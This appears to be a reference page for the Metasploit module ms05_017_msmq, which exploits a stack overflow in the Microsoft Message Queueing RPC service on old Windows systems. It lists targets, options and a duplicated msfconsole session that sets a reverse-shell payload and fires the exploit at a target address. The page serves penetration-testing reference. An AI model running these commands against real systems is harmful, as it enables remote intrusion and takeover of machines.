Microsoft Message Queueing Service Path Overflow
This module exploits a stack buffer overflow in the RPC interface to the Microsoft Message Queueing service. The offset to the return address changes based on the length of the system hostname, so this must be provided via the 'HNAME' option. Much thanks to snort.org and Jean-Baptiste Marchand's excellent MSRPC website.
Exploit Rank
- Good
Exploit Authors
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 ALL / Windows XP SP0-SP1 (English) (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/dcerpc/ms03_026_dcom
- exploit/windows/dcerpc/ms07_029_msdns_zonename
- exploit/windows/dcerpc/ms07_065_msmq
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/dcerpc/ms05_017_msmq
msf exploit(ms05_017_msmq) > show payloads
msf exploit(ms05_017_msmq) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms05_017_msmq) > set LHOST [MY IP ADDRESS]
msf exploit(ms05_017_msmq) > set HNAME [STRING]
msf exploit(ms05_017_msmq) > set RHOST [TARGET IP]
msf exploit(ms05_017_msmq) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/dcerpc/ms05_017_msmq
msf exploit(ms05_017_msmq) > show payloads
msf exploit(ms05_017_msmq) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms05_017_msmq) > set LHOST [MY IP ADDRESS]
msf exploit(ms05_017_msmq) > set HNAME [STRING]
msf exploit(ms05_017_msmq) > set RHOST [TARGET IP]
msf exploit(ms05_017_msmq) > exploit
Exploit Module Options
| HNAME | The NetBIOS hostname of the target |
| RHOST | The target address |
| RPORT | The target port (default: 2103) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |